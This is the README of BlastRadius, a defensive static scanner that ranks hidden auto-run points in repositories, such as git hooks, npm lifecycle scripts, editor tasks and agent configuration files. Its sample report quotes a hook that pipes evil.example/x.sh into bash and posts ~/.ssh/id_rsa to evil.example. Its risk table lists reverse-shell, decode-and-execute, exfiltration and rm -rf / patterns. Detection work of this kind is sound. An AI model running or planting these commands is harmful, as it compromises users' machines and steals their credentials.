Aizosa/blastradius

GitHub: Aizosa/blastradius

一款静态扫描工具,用于在 AI 代理或 git clone 触发任何代码执行之前,检测代码仓库中隐藏的自动执行点并按风险等级排名。

Stars: 1 | Forks: 0

# BlastRadius **找出每一个 AI 代理——或代码仓库本身——可以在未经你明确批准的情况下运行代码的地方。** 你将一个 AI 编程代理(Claude Code、Cursor、Codex、aider 等)指向某个仓库,或者你 `git clone` 某些东西并打开它。在你输入任何命令之前,代码可能已经运行了:一个 `.git/hooks/pre-commit`,一个 `npm postinstall`,一个 `.envrc`,一个设置为 `folderOpen` 的 VS Code 任务,一个预先批准了 `Bash(*)` 的 `.claude/settings.json`,或者一个告诉代理执行 `curl … | bash` 的 `CLAUDE.md`。这些都不会出现在正常的 diff 审查中。 BlastRadius 会对代码仓库进行静态扫描,寻找这些**自动执行点**,向你展示实际代码,解释其触发条件,并根据**影响范围**(如果被触发会有多糟糕)对每一个点进行排名。 ``` $ blastradius . Blast radius: 🔴 3 CRITICAL 🟠 2 HIGH 🟡 4 MEDIUM 🔴 CRITICAL Git hook runs on git operations [git-native-hook] file .git/hooks/pre-commit trigger git commit / checkout / push / merge (also fires when an agent runs git) risk Files in .git/hooks execute automatically on ordinary git commands… escalated HIGH → CRITICAL by code behaviour signals Pipe network download straight into a shell (+5), Reads credentials (+4), Exfiltrates data (+4) code │ #!/bin/sh │ curl -s https://evil.example/x.sh | bash │ cat ~/.ssh/id_rsa | curl -X POST --data @- https://evil.example/k fix Inspect .git/hooks/*; remove or empty unexpected hooks… ``` ## 为什么会有这个项目 两件事情同时发生了:(1) 编程代理现在在每场会话中会在你的机器上运行几十次 shell,(2) “只需 clone 下来,让代理去搞定”已成为一种常规工作流。这使得每一个休眠的自动运行 hook——那些安全界已知晓多年的隐患——变成了代理会乐意为你触发的东西。目前有一些用于*运行时*代理授权(批准此命令的网关)的优秀工具。但没有任何工具能回答这个问题:**“在我批准任何事情之前,这个仓库里有什么东西可以运行?”** BlastRadius 就是那个预检扫描工具。 ## 安装 ``` pip install blastradius-scan # ships zero dependencies — stdlib only, easy to vendor & audit ``` 或者无需安装直接从源码运行:`python -m blastradius `。 ## 用法 ``` blastradius . # scan the current repo, pretty terminal report blastradius ~/downloads/some-repo # scan before you open an untrusted clone blastradius . -f json # machine-readable blastradius . -f sarif > br.sarif # upload to GitHub code scanning blastradius . -f markdown # drop into a PR comment / CI summary blastradius . -f html > report.html # self-contained shareable dashboard blastradius . --include-home # also scan ~/.gitconfig, ~/.claude, ~/.npmrc, ~/.ssh/config … blastradius . --min-severity high # only show high+critical blastradius . -q --fail-on high # no output, just exit 1 if anything high+ (CI gate) ``` 除非发现的问题满足 `--fail-on`(默认为 `high`),否则退出代码为 `0`,因此它可以作为关卡直接接入 CI。 ### 仅针对*新增*的自动运行点进行拦截(基线) 接受你已经审查过的自动运行点,然后仅当有人引入新点时才让 CI 失败——无需服务器,无需账号: ``` blastradius . --write-baseline .blastradius-baseline.json # once, commit this file blastradius . --baseline .blastradius-baseline.json --fail-on medium # in CI: only NEW findings count ``` 基线条目通过向量 + 路径 + 标记代码生成指纹,因此它们在重复运行和代码行移动时依然有效。 ### 策略与自定义规则(`.blastradius.json`) 在你的仓库根目录放入一个 `.blastradius.json`(自动加载),就可以在仓库内编码团队策略——包括要忽略哪些向量、各个向量的严重程度、路径排除、默认关卡,以及你自己的正则表达式检测器。请参见 [`.blastradius.example.json`](.blastradius.example.json): ``` { "exclude": ["vendor"], "ignore_vectors": ["go-generate"], "severity_overrides": { "npm-lifecycle-script": "high" }, "fail_on": "high", "custom_rules": [ { "id": "internal-deploy", "files": ["*.sh"], "pattern": "kubectl apply|terraform apply", "severity": "high", "danger": "Mutates prod infra." } ] } ``` ### CI 拦截(GitHub Actions) ``` - name: BlastRadius pre-flight run: | pip install blastradius-scan blastradius . -f sarif > blastradius.sarif blastradius . --fail-on high # fails the job on high/critical - uses: github/codeql-action/upload-sarif@v3 with: { sarif_file: blastradius.sarif } ``` ## 风险引擎的工作原理 一个向量仅仅因为存在就会具有**基础严重程度**(一个 `postinstall` 脚本本身就值得一看)。让它变得*危险*的,是内部代码的实际行为。BlastRadius 会在每个自动运行文件中搜索**放大器信号**并进行升级: | 信号 | 权重 | 示例 | |---|---|---| | 将下载内容通过管道传递给 shell | 5 | `curl … \| bash` | | Base64/十六进制解码后执行 | 5 | `echo … \| base64 -d \| sh` | | 反向 / 绑定 shell | 5 | `bash -i >& /dev/tcp/…` | | 读取凭据 / 密钥 | 4 | `~/.ssh/id_rsa`、`_authToken`、`env` dump | | 安装持久化机制 | 4 | `crontab`、`authorized_keys`、rc-file 写入 | | 数据渗出 | 4 | `curl --data @file https://…` | | 破坏性操作 | 4 | `rm -rf /`、`dd of=/dev/…` | | 动态 eval / 混淆 / 禁用日志 / 提权 / 出站流量 | 1–3 | … | 无害的 `"postinstall": "echo thanks"` 保持为 MEDIUM。相同的插槽如果是 `base64 -d | sh` 就会变成 CRITICAL。**这种区分——从噪音中提取信号——就是其核心目的;**一个将每个 `postinstall` 都标记为高危的扫描器只会让你习惯性地忽略它。 ## 覆盖范围 涵盖代理实际会接触到的生态系统中的 39 个检测器: - **git** — 原生 hooks、`core.hooksPath`、husky、pre-commit/lefthook、`.gitattributes` filter/diff/merge 驱动、`credential.helper` 命令、alias shell-escape、`include`/`includeIf`、`core.fsmonitor`、`core.sshCommand`、submodule `ext::` transport RCE、pager/editor 劫持 - **node** — 安装生命周期脚本 (pre/post/install/prepare)、`.pnpmfile.cjs`、`.npmrc`(auth/registry/script)、`binding.gyp` 原生构建、JS 工具链 config-as-code(vite/webpack/jest/eslint 等)、Bun/Deno 运行时 hooks - **python** — `setup.py`、`conftest.py`、`sitecustomize`/`usercustomize`/`.pth`、`tox`/`nox` - **editor** — VS Code `folderOpen` 任务、settings env/code-runner、`launch.json`、devcontainer 生命周期命令、JetBrains 运行配置、Emacs `.dir-locals.el`、Vim project rc、`.gdbinit`/`.lldbinit` - **agent** — Claude Code `permissions.allow`/hooks、MCP server 自动启动、代理读取文件中的 prompt-injection(`CLAUDE.md`、`.cursorrules`、copilot-instructions、aider) - **shell** — `.envrc`(direnv)、`.env*` code-loader 变量、SSH config `ProxyCommand`、丢弃的 rc/service/cron 片段 - **ci** — GitHub Actions `pull_request_target` + 脚本注入、task-runner 默认目标 - **supply-chain** — package index/registry 重定向 (pip/cargo) - **lang** — Rust `build.rs`、Ruby `Gemfile`/`Rakefile`、PHP Composer scripts、Go `//go:generate`、R `.Rprofile` **放大器引擎**(16 个信号)是区分无害自动运行点和武器化自动运行点的关键:pipe-to-shell、decode-then-exec、反向 shell、凭据访问、持久化、数据渗出、env-var code loaders(`NODE_OPTIONS`/`BASH_ENV`/`LD_PRELOAD`)、hidden/bidi Unicode(Trojan Source)、混淆等。 输出格式:`terminal`、`json`、`sarif` (2.1.0)、`markdown`、`html`。 ## 试一试 ``` python fixtures/_gen.py # writes a repo full of planted traps blastradius fixtures/malicious-repo # watch it light up blastradius fixtures/clean-repo # …and stay quiet on a clean one ``` ## 测试 ``` python -m unittest discover -s tests # or: pytest ``` ## 状态与路线图 上述所有功能在今天均可使用:39 个检测器、放大器风险引擎、五种输出格式、基线拦截、`.blastradius.json` 策略 + 自定义规则,以及 `--include-home`。接下来:来自威胁目录的更多检测器(terraform、ansible、MSBuild、Jupyter、conda 等)以及更丰富的路径范围策略。欢迎贡献和提交新的向量报告——请提交一个 issue,并附带本应被标记出来的仓库结构。 ## 许可证 Apache-2.0。
标签:AI代理安全, StruQ, 云安全监控, 代码安全审计, 逆向工具, 静态分析